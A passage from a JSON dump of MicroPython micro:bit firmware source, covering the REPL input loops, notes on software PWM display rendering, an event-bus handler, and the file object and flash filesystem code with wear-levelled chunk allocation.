mp_hal_stdout_tx_str(\"\\r\\n\");\n            goto input_restart;\n        } else if (ret == CHAR_CTRL_D) {\n            // exit for a soft reset\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            vstr_clear(MP_STATE_VM(repl_line));\n            return PYEXEC_FORCED_EXIT;\n        }\n\n        if (ret < 0) {\n            return 0;\n        }\n\n        if (!mp_repl_continue_with_input(vstr_null_terminated_str(MP_STATE_VM(repl_line)))) {\n            goto exec;\n        }\n\n        vstr_add_byte(MP_STATE_VM(repl_line), '\\n');\n        repl.cont_line = true;\n        readline_note_newline(\"... \");\n        return 0;\n\n    } else {\n\n        if (ret == CHAR_CTRL_C) {\n           // cancel everything\n           mp_hal_stdout_tx_str(\"\\r\\n\");\n           repl.cont_line = false;\n           goto input_restart;\n        } else if (ret == CHAR_CTRL_D) {\n            // stop entering compound statement\n            goto exec;\n        }\n\n        if (ret < 0) {\n            return 0;\n        }\n\n        if (mp_repl_continue_with_input(vstr_null_terminated_str(MP_STATE_VM(repl_line)))) {\n            vstr_add_byte(MP_STATE_VM(repl_line), '\\n');\n            readline_note_newline(\"... \");\n            return 0;\n        }\n\nexec: ;\n        int ret = parse_compile_execute(MP_STATE_VM(repl_line), MP_PARSE_SINGLE_INPUT, EXEC_FLAG_ALLOW_DEBUGGING | EXEC_FLAG_IS_REPL | EXEC_FLAG_SOURCE_IS_VSTR);\n        if (ret & PYEXEC_FORCED_EXIT) {\n            return ret;\n        }\n\ninput_restart:\n        vstr_reset(MP_STATE_VM(repl_line));\n        repl.cont_line = false;\n        readline_init(MP_STATE_VM(repl_line), \">>> \");\n        return 0;\n    }\n}\n\nuint8_t pyexec_repl_active;\nint pyexec_event_repl_process_char(int c) {\n    pyexec_repl_active = 1;\n    int res;\n    if (pyexec_mode_kind == PYEXEC_MODE_RAW_REPL) {\n        res = pyexec_raw_repl_process_char(c);\n    } else {\n        res = pyexec_friendly_repl_process_char(c);\n    }\n    pyexec_repl_active = 0;\n    return res;\n}\n\n#else // MICROPY_REPL_EVENT_DRIVEN\n\nint pyexec_raw_repl(void) {\n    vstr_t line;\n    vstr_init(&line, 32);\n\nraw_repl_reset:\n    mp_hal_stdout_tx_str(\"raw REPL; CTRL-B to exit\\r\\n\");\n\n    for (;;) {\n        vstr_reset(&line);\n        mp_hal_stdout_tx_str(\">\");\n        for (;;) {\n            int c = mp_hal_stdin_rx_chr();\n            if (c == CHAR_CTRL_A) {\n                // reset raw REPL\n                goto raw_repl_reset;\n            } else if (c == CHAR_CTRL_B) {\n                // change to friendly REPL\n                mp_hal_stdout_tx_str(\"\\r\\n\");\n                vstr_clear(&line);\n                pyexec_mode_kind = PYEXEC_MODE_FRIENDLY_REPL;\n                return 0;\n            } else if (c == CHAR_CTRL_C) {\n                // clear line\n                vstr_reset(&line);\n            } else if (c == CHAR_CTRL_D) {\n                // input finished\n                break;\n            } else {\n                // let through any other raw 8-bit value\n                vstr_add_byte(&line, c);\n            }\n        }\n\n        // indicate reception of command\n        mp_hal_stdout_tx_str(\"OK\");\n\n        if (line.len == 0) {\n            // exit for a soft reset\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            vstr_clear(&line);\n            return PYEXEC_FORCED_EXIT;\n        }\n\n        int ret = parse_compile_execute(&line, MP_PARSE_FILE_INPUT, EXEC_FLAG_PRINT_EOF | EXEC_FLAG_SOURCE_IS_VSTR);\n        if (ret & PYEXEC_FORCED_EXIT) {\n            return ret;\n        }\n    }\n}\n\nint pyexec_friendly_repl(void) {\n    vstr_t line;\n    vstr_init(&line, 32);\n\n#if defined(USE_HOST_MODE) && MICROPY_HW_HAS_LCD\n    // in host mode, we enable the LCD for the repl\n    mp_obj_t lcd_o = mp_call_function_0(mp_load_name(qstr_from_str(\"LCD\")));\n    mp_call_function_1(mp_load_attr(lcd_o, qstr_from_str(\"light\")), mp_const_true);\n#endif\n\nfriendly_repl_reset:\n    mp_hal_stdout_tx_str(\"MicroPython \" MICROPY_GIT_TAG \" on \" MICROPY_BUILD_DATE \"; \" MICROPY_HW_BOARD_NAME \" with \" MICROPY_HW_MCU_NAME \"\\r\\n\");\n    #if MICROPY_PY_BUILTINS_HELP\n    mp_hal_stdout_tx_str(\"Type \\\"help()\\\" for more information.\\r\\n\");\n    #endif\n\n    // to test ctrl-C\n    /*\n    {\n        uint32_t x[4] = {0x424242, 0xdeaddead, 0x242424, 0xdeadbeef};\n        for (;;) {\n            nlr_buf_t nlr;\n            printf(\"pyexec_repl: %p\\n\", x);\n            mp_hal_set_interrupt_char(CHAR_CTRL_C);\n            if (nlr_push(&nlr) == 0) {\n                for (;;) {\n                }\n            } else {\n                printf(\"break\\n\");\n            }\n        }\n    }\n    */\n\n    for (;;) {\n    input_restart:\n\n        #if defined(USE_DEVICE_MODE)\n        if (usb_vcp_is_enabled()) {\n            // If the user gets to here and interrupts are disabled then\n            // they'll never see the prompt, traceback etc. The USB REPL needs\n            // interrupts to be enabled or no transfers occur. So we try to\n            // do the user a favor and reenable interrupts.\n            if (query_irq() == IRQ_STATE_DISABLED) {\n                enable_irq(IRQ_STATE_ENABLED);\n                mp_hal_stdout_tx_str(\"PYB: enabling IRQs\\r\\n\");\n            }\n        }\n        #endif\n\n        vstr_reset(&line);\n        int ret = readline(&line, \">>> \");\n        mp_parse_input_kind_t parse_input_kind = MP_PARSE_SINGLE_INPUT;\n\n        if (ret == CHAR_CTRL_A) {\n            // change to raw REPL\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            vstr_clear(&line);\n            pyexec_mode_kind = PYEXEC_MODE_RAW_REPL;\n            return 0;\n        } else if (ret == CHAR_CTRL_B) {\n            // reset friendly REPL\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            goto friendly_repl_reset;\n        } else if (ret == CHAR_CTRL_C) {\n            // break\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            continue;\n        } else if (ret == CHAR_CTRL_D) {\n            // exit for a soft reset\n            mp_hal_stdout_tx_str(\"\\r\\n\");\n            vstr_clear(&line);\n            return PYEXEC_FORCED_EXIT;\n        } else if (ret == CHAR_CTRL_E) {\n            // paste mode\n            mp_hal_stdout_tx_str(\"\\r\\npaste mode; Ctrl-C to cancel, Ctrl-D to finish\\r\\n=== \");\n            vstr_reset(&line);\n            for (;;) {\n                char c = mp_hal_stdin_rx_chr();\n                if (c == CHAR_CTRL_C) {\n                    // cancel everything\n                    mp_hal_stdout_tx_str(\"\\r\\n\");\n                    goto input_restart;\n                } else if (c == CHAR_CTRL_D) {\n                    // end of input\n                    mp_hal_stdout_tx_str(\"\\r\\n\");\n                    break;\n                } else {\n                    // add char to buffer and echo\n                    vstr_add_byte(&line, c);\n                    if (c == '\\r') {\n                        mp_hal_stdout_tx_str(\"\\r\\n=== \");\n                    } else {\n                        mp_hal_stdout_tx_strn(&c, 1);\n                    }\n                }\n            }\n            parse_input_kind = MP_PARSE_FILE_INPUT;\n        } else if (vstr_len(&line) == 0) {\n            continue;\n        } else {\n            // got a line with non-zero length, see if it needs continuing\n            while (mp_repl_continue_with_input(vstr_null_terminated_str(&line))) {\n                vstr_add_byte(&line, '\\n');\n                ret = readline(&line, \"... \");\n                if (ret == CHAR_CTRL_C) {\n                    // cancel everything\n                    mp_hal_stdout_tx_str(\"\\r\\n\");\n                    goto input_restart;\n                } else if (ret == CHAR_CTRL_D) {\n                    // stop entering compound statement\n                    break;\n                }\n            }\n        }\n\n        ret = parse_compile_execute(&line, parse_input_kind, EXEC_FLAG_ALLOW_DEBUGGING | EXEC_FLAG_IS_REPL | EXEC_FLAG_SOURCE_IS_VSTR);\n        if (ret & PYEXEC_FORCED_EXIT) {\n            return ret;\n        }\n    }\n}\n\n#endif // MICROPY_REPL_EVENT_DRIVEN\n#endif // MICROPY_ENABLE_COMPILER\n\nint pyexec_file(const char *filename) {\n    return parse_compile_execute(filename, MP_PARSE_FILE_INPUT, EXEC_FLAG_SOURCE_IS_FILENAME);\n}\n\n#if MICROPY_MODULE_FROZEN\nint pyexec_frozen_module(const char *name) {\n    void *frozen_data;\n    int frozen_type = mp_find_frozen_module(name, strlen(name), &frozen_data);\n\n    switch (frozen_type) {\n        #if MICROPY_MODULE_FROZEN_STR\n        case MP_FROZEN_STR:\n            return parse_compile_execute(frozen_data, MP_PARSE_FILE_INPUT, 0);\n        #endif\n\n        #if MICROPY_MODULE_FROZEN_MPY\n        case MP_FROZEN_MPY:\n            return parse_compile_execute(frozen_data, MP_PARSE_FILE_INPUT, EXEC_FLAG_SOURCE_IS_RAW_CODE);\n        #endif\n\n        default:\n            printf(\"could not find module '%s'\\n\", name);\n            return false;\n    }\n}\n#endif\n"
  },
  {
    "path": "micropython/source/microbit/display_readme.md",
    "content": "# Notes on the Display\n\nRendering of images to the display is now done entirely within MicroPython\nwithout using the DAL's rendering logic.\n\nThis achieves the following:\n\n1. It gives more obviously distinct brightness levels on the scale of 1 to 9\n2. Most obviously, the dimmest level is dimmer. Level 1 is clearly dimmer than level 2\n3. It is possible to support sophisticated animations asynchronously.\n\n## How rendering works\n\nRendering on the microbit display works by using pulse width modulation implemented\nin software. A render cycle consists of:\n\n* Render each display row (which does not correspond to the image row)\n    * Turn off all LEDs in the previous row.\n    * Turn on all LEDs that are maximum brightness\n    * Do any computation required to update the image\n    * Turn on all LEDs with non-zero brightness\n    * In exponentially increasing time steps:\n        * Turn off LEDs in increasing order of brightness.\n    \nThis means that each LEDs is turned on for a period of time approximately proportional \nto 2**brightness.\nBy turning on maximum brightness LEDs before updating the image, and performing the \nincreasing time steps after the update, image is rendering is smooth even with complex \nimage iterators.\n\nProvided that the display update step takes no more that about 2.2ms then\nthere will no effect on the rendering of the image.\nEven if it takes up to 4ms (which a lot of computation to yield just a single image) \nthen only effect is that level 8 brightness will be dimmed toward the level 7 brightness.\n\n## How this differs from the DAL.\nThe DAL updates the image before turning on any pixels. \nDAL rendering timings assume that the full 6ms cycle duration can be divided\nup evenly. This does not reflect the underlying clock speed and may be the cause \nof the unevenness in brightness levels.\nThe DAL supports 255 brightness levels as well as rotation in the rendering ticker function,\nwhich adds quite a lot of overhead to a function that is called more than 1000 times a second."
  },
  {
    "path": "micropython/source/microbit/events.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"EventModel.h\"\n#include \"microbit/microbitdal.h\"\n#include \"microbit/modmicrobit.h\"\n\nextern \"C\" {\n    extern void microbit_accelerometer_event_handler(const MicroBitEvent*);\n}\n\nclass MicroPythonEventHandler : public EventModel {\npublic:\n    MicroPythonEventHandler();\n\n    virtual int send(MicroBitEvent evt);\n};\n\n// Create a static instance of our custom event handler\nstatic MicroPythonEventHandler event_handler;\n\nMicroPythonEventHandler::MicroPythonEventHandler() {\n    // We take full control of the event bus\n    EventModel::defaultEventBus = this;\n}\n\nint MicroPythonEventHandler::send(MicroBitEvent evt) {\n    // Dispatch the event to the relevant component\n    switch (evt.source) {\n        case MICROBIT_ID_GESTURE:\n            microbit_accelerometer_event_handler(&evt);\n            break;\n\n        case MICROBIT_ID_COMPASS:\n            if (evt.value == MICROBIT_COMPASS_EVT_CALIBRATE) {\n                ubit_compass_calibrator->calibrateUX(evt);\n            }\n            break;\n\n        default:\n            // Ignore this event\n            break;\n    }\n\n    return MICROBIT_OK;\n}\n"
  },
  {
    "path": "micropython/source/microbit/fileobj.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/runtime.h\"\n#include \"py/obj.h\"\n#include \"py/stream.h\"\n#include \"microbit/filesystem.h\"\n\nstatic mp_obj_t microbit_file_writable(mp_obj_t self) {\n    return mp_obj_new_bool(((file_descriptor_obj *)self)->writable);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_file_writable_obj, microbit_file_writable);\n\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_file_name_obj, (mp_fun_1_t)microbit_file_name);\n\nstatic mp_obj_t microbit_file_close_func(mp_obj_t self_in) {\n    microbit_file_close((file_descriptor_obj *)self_in);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_file_close_obj, microbit_file_close_func);\n\nSTATIC mp_obj_t file___exit__(size_t n_args, const mp_obj_t *args) {\n    (void)n_args;\n    return microbit_file_close_func(args[0]);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(file___exit___obj, 4, 4, file___exit__);\n\nstatic const mp_map_elem_t microbit_file_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_close), (mp_obj_t)&microbit_file_close_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_name), (mp_obj_t)&microbit_file_name_obj },\n    { MP_ROM_QSTR(MP_QSTR___enter__), (mp_obj_t)&mp_identity_obj },\n    { MP_ROM_QSTR(MP_QSTR___exit__), (mp_obj_t)&file___exit___obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_writable), (mp_obj_t)&microbit_file_writable_obj },\n    /* Stream methods */\n    { MP_OBJ_NEW_QSTR(MP_QSTR_read), (mp_obj_t)&mp_stream_read_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_readinto), (mp_obj_t)&mp_stream_readinto_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_readline), (mp_obj_t)&mp_stream_unbuffered_readline_obj},\n    { MP_OBJ_NEW_QSTR(MP_QSTR_write), (mp_obj_t)&mp_stream_write_obj },\n};\nstatic MP_DEFINE_CONST_DICT(microbit_file_locals_dict, microbit_file_locals_dict_table);\n\nSTATIC const mp_stream_p_t bytesio_stream_p = {\n    .read = microbit_file_read,\n    .write = microbit_file_write,\n};\n\nconst mp_obj_type_t microbit_bytesio_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_BytesIO,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = &bytesio_stream_p,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_file_locals_dict,\n};\n\nSTATIC const mp_stream_p_t textio_stream_p = {\n    .read = microbit_file_read,\n    .write = microbit_file_write,\n    .is_text = true,\n};\n\nconst mp_obj_type_t microbit_textio_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_TextIO,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = &textio_stream_p,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_file_locals_dict,\n};\n\nstatic mp_obj_t mp_builtin_open(size_t n_args, const mp_obj_t *args) {\n    /// -1 means default; 0 explicitly false; 1 explicitly true.\n    int read = -1;\n    int text = -1;\n    if (n_args == 2) {\n        mp_uint_t len;\n        const char *mode = mp_obj_str_get_data(args[1], &len);\n        for (mp_uint_t i = 0; i < len; i++) {\n            if (mode[i] == 'r' || mode[i] == 'w') {\n                if (read >= 0) {\n                    goto mode_error;\n                }\n                read = (mode[i] == 'r');\n            } else if (mode[i] == 'b' || mode[i] == 't') {\n                if (text >= 0) {\n                    goto mode_error;\n                }\n                text = (mode[i] == 't');\n            } else {\n                goto mode_error;\n            }\n        }\n    }\n    mp_uint_t name_len;\n    const char *filename = mp_obj_str_get_data(args[0], &name_len);\n    file_descriptor_obj *res = microbit_file_open(filename, name_len, read == 0, text == 0);\n    if (res == NULL) {\n        mp_raise_msg(&mp_type_OSError, \"file not found\");\n    }\n    return res;\nmode_error:\n    mp_raise_ValueError(\"illegal mode\");\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_builtin_open_obj, 1, 2, mp_builtin_open);\n"
  },
  {
    "path": "micropython/source/microbit/filesystem.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#include <string.h>\n#include <stdio.h>\n#include <errno.h>\n#include <sys/stat.h>\n\n#include \"py/runtime.h\"\n#include \"py/obj.h\"\n#include \"py/gc.h\"\n#include \"py/stream.h\"\n#include \"microbit/filesystem.h\"\n#include \"microbit/memory.h\"\n\n#define DEBUG_FILE 0\n#if DEBUG_FILE\n#define DEBUG(s) printf s\n#else\n#define DEBUG(s) (void)0\n#endif\n\n/**  How it works:\n * The File System consists of up to MAX_CHUNKS_IN_FILE_SYSTEM chunks of CHUNK_SIZE each,\n * plus one spare page which holds persistent configuration data and is used. for bulk erasing.\n * The spare page is either the first or the last page and will be switched by a bulk erase.\n * The exact number of chunks will depend on the amount of flash available.\n *\n * Each chunk consists of a one byte marker and a one byte tail\n * The marker shows whether this chunk is the start of a file, the midst of a file\n * (in which case it refers to the previous chunk in the file) or whether it is UNUSED\n * (and erased) or FREED (which means it is unused, but not erased).\n * Chunks are selected in a randomised round-robin fashion to even out wear on the flash\n * memory as much as possible.\n * A file consists of a linked list of chunks. The first chunk in a file contains its name\n * as well as the end chunk and offset.\n * Files are found by linear search of the chunks, this means that no meta-data needs to be stored\n * outside of the file, which prevents wear hot-spots. Since there are fewer than 250 chunks,\n * the search is fast enough.\n *\n * Chunks are numbered from 1 as we need to reserve 0 as the FREED marker.\n *\n * Writing to files relies on the persistent API which is high-level wrapper on top of the Nordic SDK.\n */\n\n/** Page indexes count down from the end of ROM */\nstatic uint8_t first_page_index;\nstatic uint8_t last_page_index;\n/** The number of useable chunks in the file system */\nstatic uint8_t chunks_in_file_system;\n/** Index of chunk to start searches. This is randomised to even out wear */\nstatic uint8_t start_index;\nstatic file_chunk *file_system_chunks;\n\nSTATIC_ASSERT((sizeof(file_chunk) == CHUNK_SIZE));\n\n\nstatic inline void *first_page(void) {\n    return microbit_end_of_rom() - persistent_page_size() * first_page_index;\n}\n\nstatic inline void *last_page(void) {\n    return microbit_end_of_rom() - persistent_page_size() * last_page_index;\n}\n\nstatic void init_limits(void) {\n    /* First determine where to end */\n    char *end = (char*)microbit_compass_calibration_page() - persistent_page_size();\n    last_page_index = (microbit_end_of_rom() - end)/persistent_page_size();\n    /** Now find the start */\n    char *start = roundup(end - CHUNK_SIZE*MAX_CHUNKS_IN_FILE_SYSTEM, persistent_page_size());\n    while (start < microbit_end_of_code()) {\n        start += persistent_page_size();\n    }\n    first_page_index = (microbit_end_of_rom() - start)/persistent_page_size();\n    chunks_in_file_system = (end-start)>>LOG_CHUNK_SIZE;\n}\n\nstatic void randomise_start_index(void) {\n    uint8_t new_index; // 0 based index.\n    NRF_RNG->TASKS_START = 1;\n    // Wait for valid number\n    do {\n        NRF_RNG->EVENTS_VALRDY = 0;\n        while(NRF_RNG->EVENTS_VALRDY == 0);\n        new_index = NRF_RNG->VALUE&255;\n    } while (new_index >= chunks_in_file_system);\n    start_index = new_index + 1;  // Adjust index to 1 based.\n    NRF_RNG->TASKS_STOP = 1;\n}\n\nvoid microbit_filesystem_init(void) {\n    init_limits();\n    randomise_start_index();\n    file_chunk *base = first_page();\n    if (base->marker == PERSISTENT_DATA_MARKER) {\n        file_system_chunks = &base[(persistent_page_size()>>LOG_CHUNK_SIZE)-1];\n    } else if (((file_chunk *)last_page())->marker == PERSISTENT_DATA_MARKER) {\n        file_system_chunks = &base[-1];\n    } else {\n        persistent_write_byte_unchecked(&((file_chunk *)last_page())->marker, PERSISTENT_DATA_MARKER);\n        file_system_chunks = &base[-1];\n    }\n}\n\nstatic void copy_page(void *dest, void *src) {\n    DEBUG((\"FILE DEBUG: Copying page from %lx to %lx.\\r\\n\", (uint32_t)src, (uint32_t)dest));\n    persistent_erase_page(dest);\n    file_chunk *src_chunk = src;\n    file_chunk *dest_chunk = dest;\n    uint32_t chunks = persistent_page_size()>>LOG_CHUNK_SIZE;\n    for (uint32_t i = 0; i < chunks; i++) {\n        if (src_chunk[i].marker != FREED_CHUNK) {\n            persistent_write_unchecked(&dest_chunk[i], &src_chunk[i], CHUNK_SIZE);\n        }\n    }\n}\n\n/* Move entire file system up or down one page, copying all used chunks\n * Freed chunks are not copied, so become erased.\n * There should be no erased chunks before the sweep (or it would be unnecessary)\n * but if there are this should work correctly.\n *\n * The direction of the sweep depends on whether the persistent data is in the first or last page\n * The persistent data is copied to RAM, leaving its page unused.\n * Then all the pages are copied, one by one, into the adjacent newly unused page.\n * Finally, the persistent data is saved back to the opposite end of the filesystem from whence it came.\n */\nvoid filesystem_sweep(void) {\n    persistent_config_t config;\n    uint8_t *page;\n    uint8_t *end_page;\n    int step;\n    uint32_t page_size = persistent_page_size();\n    DEBUG((\"FILE DEBUG: Sweeping file system\\r\\n\"));\n    if (((file_chunk *)first_page())->marker == PERSISTENT_DATA_MARKER) {\n        config = *(persistent_config_t *)first_page();\n        page = first_page();\n        end_page = last_page();\n        step = page_size;\n    } else {\n        config = *(persistent_config_t *)last_page();\n        page = last_page();\n        end_page = first_page();\n        step = -page_size;\n    }\n    while (page != end_page) {\n        uint8_t *next_page = page+step;\n        persistent_erase_page(page);\n        copy_page(page, next_page);\n        page = next_page;\n    }\n    persistent_erase_page(end_page);\n    persistent_write_unchecked(end_page, &config, sizeof(config));\n    microbit_filesystem_init();\n}\n\n\nstatic inline char *seek_address(file_descriptor_obj *self) {\n    return (char *)&(file_system_chunks[self->seek_chunk].data[self->seek_offset]);\n}\n\nuint8_t microbit_find_file(const char *name, int name_len) {\n    for (uint8_t index = 1; index <= chunks_in_file_system; index++) {\n        const file_chunk *p = &file_system_chunks[index];\n        if (p->marker != FILE_START)\n            continue;\n        if (p->header.name_len != name_len)\n            continue;\n        if (memcmp(name, &p->header.filename[0], name_len) == 0) {\n            DEBUG((\"FILE DEBUG: File found. index %d\\r\\n\", index));\n            return index;\n        }\n    }\n    DEBUG((\"FILE DEBUG: File not found.\\r\\n\"));\n    return FILE_NOT_FOUND;\n}\n\n/** Return a free, erased chunk.\n * Search the chunks:\n * 1  If an UNUSED chunk is found, then return that.\n * 2. If an entire page of FREED chunks is found, then erase the page and return the first chunk\n * 3. If the number of FREED chunks is >= MIN_FREE_CHUNKS_FOR_SWEEP, then\n * 3a. Sweep the filesystem and restart.\n * 3b. Fail and return FILE_NOT_FOUND\n */\nstatic uint8_t find_chunk_and_erase(void) {\n    // Start search at a random chunk to spread the wear more evenly.\n    // Search for unused chunk\n    uint8_t index = start_index;\n    do {\n        const file_chunk *p = &file_system_chunks[index];\n        if (p->marker == UNUSED_CHUNK) {\n            DEBUG((\"FILE DEBUG: Unused chunk found: %d\\r\\n\", index));\n            return index;\n        }\n        index++;\n        if (index == chunks_in_file_system+1) index = 1;\n    } while (index != start_index);\n\n    // Search for FREED page, and total up FREED chunks\n    uint32_t freed_chunks = 0;\n    index = start_index;\n    uint32_t chunks_per_page = persistent_page_size()>>LOG_CHUNK_SIZE;\n    do {\n        const file_chunk *p = &file_system_chunks[index];\n        if (p->marker == FREED_CHUNK) {\n            freed_chunks++;\n        }\n        if (is_persistent_page_aligned(p)) {\n            uint32_t i;\n            for (i = 0; i < chunks_per_page; i++) {\n                if (p[i].marker != FREED_CHUNK)\n                    break;\n            }\n            if (i == chunks_per_page) {\n                DEBUG((\"FILE DEBUG: Found freed page of chunks: %d\\r\\n\", index));\n                persistent_erase_page(&file_system_chunks[index]);\n                return index;\n            }\n        }\n        index++;\n        if (index == chunks_in_file_system+1) index = 1;\n    } while (index != start_index);\n    DEBUG((\"FILE DEBUG: %lu free chunks\\r\\n\", freed_chunks));\n    if (freed_chunks < MIN_CHUNKS_FOR_SWEEP) {\n        return FILE_NOT_FOUND;\n    }\n    // No freed pages, so sweep file system.\n    filesystem_sweep();\n    // This is guaranteed to succeed.\n    return find_chunk_and_erase();\n}\n\nmp_obj_t microbit_file_name(file_descriptor_obj *fd) {\n    return mp_obj_new_str(&(file_system_chunks[fd->start_chunk].header.filename[0]), file_system_chunks[fd->start_chunk].header.name_len, false);\n}\n\nstatic file_descriptor_obj *microbit_file_descriptor_new(uint8_t start_chunk, bool write, bool binary);\n\nstatic void clear_file(uint8_t chunk) {\n    do {\n        persistent_write_byte_unchecked(&(file_system_chunks[chunk].marker), FREED_CHUNK);\n        DEBUG((\"FILE DEBUG: Freeing chunk %d.\\n\", chunk));\n        chunk = file_system_chunks[chunk].next_chunk;\n    } while (chunk <= chunks_in_file_system);\n}\n\nfile_descriptor_obj *microbit_file_open(const char *name, uint32_t name_len, bool write, bool binary) {\n    if (name_len > MAX_FILENAME_LENGTH) {\n        return NULL;\n    }\n    uint8_t index = microbit_find_file(name, name_len);\n    if (write) {\n        if (index != FILE_NOT_FOUND) {\n            // Free old file\n            clear_file(index);\n        }\n        index = find_chunk_and_erase();\n        if (index == FILE_NOT_FOUND) {\n            mp_raise_msg(&mp_type_OSError, \"no more storage space\");\n        }\n        persistent_write_byte_unchecked(&(file_system_chunks[index].marker), FILE_START);\n        persistent_write_byte_unchecked(&(file_system_chunks[index].header.name_len), name_len);\n        persistent_write_unchecked(&(file_system_chunks[index].header.filename[0]), name, name_len);\n    } else {\n        if (index == FILE_NOT_FOUND) {\n            return NULL;\n        }\n    }\n    return microbit_file_descriptor_new(index, write, binary);\n}\n\nstatic file_descriptor_obj *microbit_file_descriptor_new(uint8_t start_chunk, bool write, bool binary) {\n    file_descriptor_obj *res = m_new_obj(file_descriptor_obj);\n    if (binary) {\n        res->base.type = &microbit_bytesio_type;\n    } else {\n        res->base.type = &microbit_textio_type;\n    }\n    res->start_chunk = start_chunk;\n    res->seek_chunk = start_chunk;\n    res->seek_offset = file_system_chunks[start_chunk].header.name_len+2;\n    res->writable = write;\n    res->open = true;\n    res->binary = binary;\n    return res;\n}\n\nmp_obj_t microbit_remove(mp_obj_t filename) {\n    mp_uint_t name_len;\n    const char *name = mp_obj_str_get_data(filename, &name_len);\n    mp_uint_t index = microbit_find_file(name, name_len);\n    if (index == 255) {\n        mp_raise_msg(&mp_type_OSError, \"file not found\");\n    }\n    clear_file(index);\n    return mp_const_none;\n}\n\nstatic void check_file_open(file_descriptor_obj *self) {\n    if (!self->open) {\n        mp_raise_ValueError(\"I/O operation on closed file\");\n    }\n}\n\nstatic int advance(file_descriptor_obj *self, uint32_t n, bool write) {\n    DEBUG((\"FILE DEBUG: Advancing from chunk %d, offset %d.\\r\\n\", self->seek_chunk, self->seek_offset));\n    self->seek_offset 